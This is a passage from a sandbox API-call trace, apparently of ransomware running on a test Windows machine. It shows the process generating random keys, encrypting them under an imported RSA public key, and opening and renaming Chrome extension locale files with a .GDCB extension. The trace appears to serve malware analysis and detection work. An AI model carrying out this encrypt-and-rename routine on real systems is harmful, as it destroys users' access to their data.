returned 1 [0268.096] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.099] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.101] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.101] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.101] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.101] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.103] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.105] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.106] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.106] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.106] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.108] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796ae0) returned 1 [0268.108] CryptGetKeyParam (in: hKey=0x6796ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.108] CryptEncrypt (in: hKey=0x6796ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.108] GetLastError () returned 0x0 [0268.108] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.108] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.110] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796b20) returned 1 [0268.110] CryptGetKeyParam (in: hKey=0x6796b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.110] CryptEncrypt (in: hKey=0x6796b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.110] GetLastError () returned 0x0 [0268.110] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.110] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.112] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.114] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.116] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x20b, lpOverlapped=0x0) returned 1 [0268.125] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.131] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.gdcb")) returned 1 [0268.136] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0268.139] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.141] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.141] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.141] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.141] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.145] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.145] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.146] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.148] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796ce0) returned 1 [0268.148] CryptGetKeyParam (in: hKey=0x6796ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.148] CryptEncrypt (in: hKey=0x6796ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.148] GetLastError () returned 0x0 [0268.148] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.148] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.150] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796d20) returned 1 [0268.150] CryptGetKeyParam (in: hKey=0x6796d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.150] CryptEncrypt (in: hKey=0x6796d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.150] GetLastError () returned 0x0 [0268.150] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.150] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.151] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.154] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.157] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb1, lpOverlapped=0x0) returned 1 [0268.165] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.172] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0268.177] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.181] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.183] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.183] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.183] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.189] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.189] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.189] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.191] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796b60) returned 1 [0268.192] CryptGetKeyParam (in: hKey=0x6796b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.192] CryptEncrypt (in: hKey=0x6796b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.192] GetLastError () returned 0x0 [0268.192] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.192] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.194] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796c20) returned 1 [0268.194] CryptGetKeyParam (in: hKey=0x6796c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.194] CryptEncrypt (in: hKey=0x6796c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.194] GetLastError () returned 0x0 [0268.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.199] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.202] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x96, lpOverlapped=0x0) returned 1 [0268.211] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.229] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0268.235] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.238] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.240] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.240] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.240] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.240] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.245] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.245] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.245] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.248] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796ba0) returned 1 [0268.248] CryptGetKeyParam (in: hKey=0x6796ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.248] CryptEncrypt (in: hKey=0x6796ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.248] GetLastError () returned 0x0 [0268.248] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.248] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.250] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796be0) returned 1 [0268.250] CryptGetKeyParam (in: hKey=0x6796be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.250] CryptEncrypt (in: hKey=0x6796be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.250] GetLastError () returned 0x0 [0268.250] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.250] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.252] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.255] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.257] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb4, lpOverlapped=0x0) returned 1 [0268.266] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.274] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0268.279] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.282] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.285] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.285] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.285] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.289] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.289] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.290] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.292] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796ca0) returned 1 [0268.292] CryptGetKeyParam (in: hKey=0x6796ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.292] CryptEncrypt (in: hKey=0x6796ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.292] GetLastError () returned 0x0 [0268.292] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.292] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.295] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67975a0) returned 1 [0268.295] CryptGetKeyParam (in: hKey=0x67975a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.295] CryptEncrypt (in: hKey=0x67975a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.295] GetLastError () returned 0x0 [0268.295] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.295] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.296] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.299] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.302] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbb, lpOverlapped=0x0) returned 1 [0268.311] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.323] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and 